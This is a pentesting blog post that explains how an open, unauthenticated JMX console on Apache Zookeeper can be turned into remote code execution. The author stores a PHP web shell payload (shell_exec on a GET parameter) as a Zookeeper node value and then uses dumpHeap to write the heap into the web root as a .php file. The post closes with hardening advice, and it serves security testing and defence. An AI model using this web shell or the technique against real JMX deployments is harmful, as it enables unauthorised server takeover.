Exploiting JMX deployments through DumpHeap for Remote Code Execution

Posted on Mon 31 July 2017 in Pentesting


During my recent research on Distributed systems being deployed in modern applications,

I came across a common component the JAVA JMX console being enabled across different instances, some them would be Hadoop components, Apache Zookeeper, Cassandra.This made me look deeper into some of the functionality.

There has been some great and awesome work done regarding JMX exploitation, you could find the resources here.

  • https://www.optiv.com/blog/exploiting-jmx-rmi
  • https://github.com/mogwaisec/mjet
  • https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/february/compromising-apache-tomcat-via-jmx-access/
So lets get started,

What is JMX and Mbeans and how do they work ?

Java Management Extensions (JMX) was introduced in J2SE 5.0 release. It provides an architecture to manage resources dynamically at runtime. JMX is used mostly in enterprise applications to make the system configurable or to get the state of application at any point of time. (As per http://www.journaldev.com/1352/what-is-jmx-mbean-jconsole-tutorial)

JMX Architecture

.

JMX has an important component which is the MBeans.

An MBean is a managed Java object, similar to a JavaBeans component, that follows the design patterns set forth in the JMX specification. An MBean can represent a device, an application, or any resource that needs to be managed. MBeans expose a management interface that consists of the following:

  1. A set of readable or writable attributes, or both.
  2. A set of invokable operations.
  3. A self-description.
Mbeans allows you to create and register Mbeans, which could add some functionality.There are some tutorials on how to write Mbeans in case you need to look up on.(https://examples.javacodegeeks.com/enterprise-java/jmx/create-and-register-mbean-in-mbeanserver/)

The Exploiting JMX RMI blogpost (refer the link above) relies on creating an Mlet server and then serving the mbean,registering it and then executing commands.

What do we do if you do not have permissions to create a new Mbean .We will be targeting points 1 & 2 in the Mbeans definition for pentesting and exploiting Mbeans as we proceed down.Also we assume here the instance's are not password protected.The purpose could be useful to you during a internal/external pentest

You can connect to JMX using JConsole.

Pentesting JMX

So during the research i came across using Zookeeper.Zookeeper runs JMX by default.

Zookeeper is a in-memory datastore, one of the main functionality of zookeeper is to handle distributed configuration managements.

You can download the latest instance for zookeeper over here: https://zookeeper.apache.org/releases.html.

Zookeeper by default runs,JMX on local but for the pentest i had seen that the remote port is enabled on 8007, so i emulated the setup on my mac.I quickly fired up JConsole to see anything interesting.

    

Pretty much no functionality has been exposed, but i had surprise, the default JMX exposes com.sun.management.DiagnosticCommand in some cases it is under com.sun.management.HotSpotDiagnostic Mbeans, which has dumpHeap

Now looking into DumpHeap Documentation

dumpHeap

void dumpHeap(String outputFile, boolean live) throws IOException

Dumps the heap to the outputFile file in the same format as the hprof heap dump. If this method is called remotely from another process, the heap dump output is written to a file named outputFile on the machine where the target VM is running. If outputFile is a relative path, it is relative to the working directory where the target VM was started.

Parameters: outputFile - the system-dependent filename live - if true dump only live objects i.e. objects that are reachable from others Throws: IOException - if the outputFile cannot be created, opened, or written to. UnsupportedOperationException - if this operation is not supported. NullPointerException - if outputFile is null. SecurityException - If a security manager exists and its SecurityManager.checkWrite(java.lang.String) method denies write access to the named file or the caller does not have ManagmentPermission("control").

Now dumpheap seems promising so i invoked the operation with the name of the dump being dump.

DumpHeap had dumped the file where i had launched the zookeeper from.Doing a strings on dump, we could see some of the commands as well as parameters which was in memory being dumped, along with "dumpAllThreads" , which is again another functionality within JMX of another Mbean.

The blogpost by NCC discussed on how they used rotate Log, but the functionality is only applicable to JBoss, dumpHeap since being default operation for JMX would allow any instance running JMX openly vulnerable.

Now the fun part was we could specify the location for the dump and it would happily go anywhere and dump the file: " /tmp/dump"

Getting Your Data in the DumpHeap

There are multiple ways to get your data in the dumpHeap, since i was testing zookeeper, i decided probably zookeeper could be the key since it is a in-memory datastore.

Connecting to zookeeper, using the zkCli.

Now time for some Zookeeper basics.It pretty easy and self explanatory

  • create Nodename "value" : Would create a new node with the corresponding value
  • set /Nodename "value": Would change and set the value of the node
  • get /Nodename : Would get the value of the node.
There are other set commands which you could look into, but since this satisfies our requirement these would do.

Now lets try dumping the Heap.

If you could grep for our created node, you could see the node as well as the value.Now keeping these concepts in mind.

Achieving Remote Code Execution

So now we need something, so that we could execute our code.I found that the host was running a Apache Server with PHP 5.5 on it.

Time to go deeper.

Now since we have to invoke the php shell, we need some php code in the file.

Now the available things in hand are:

  • You could dump the heap to the location you want.
  • We could write values to memory using zookeeper.
We go ahead and create a new node named /shell and its value to
<?php echo shell_exec($_GET['e']); ?>

Of course you could use a jsp shell if it's a tomcat or depending up what you require you could write it to memory and then execute it.

And now we dump the file to the web server location, since the pentest was on a linux box we could dump it to the /var/www/, since emulating in Mac it was /Library/WebServer/Documents.The name of the dump should obviously be a .php extension over here. (filename was /Library/WebServer/Documents/pocs.php)

Now the moment of truth, checking whether we have code execution, we run our nc to listen on port 8081

Closing

There are multiple ways you could write the values to the memory, and if you leave your jmx open remotely, then exploiting it  and gaining access wouldn't be a tough job.
  • DumpHeap should actually limit the path to which it could dump to , a more serious approach would be dump to only where the dumpHeap is called from.
  • The dump obviously had issues since the php script , will be invoked after a lot of garbage, hence it was stable to send particular commands you would want to execute.
  • On securing JMX:Like previously discussed in other blogposts, you could enable your authentication by specifying "-Dcom.sun.management.jmxremote.authenticate=true" and specifying the password as well as the access list.
Finally do correct if anything is wrong,i would be more than happy to add it over here.

Cheers,Francis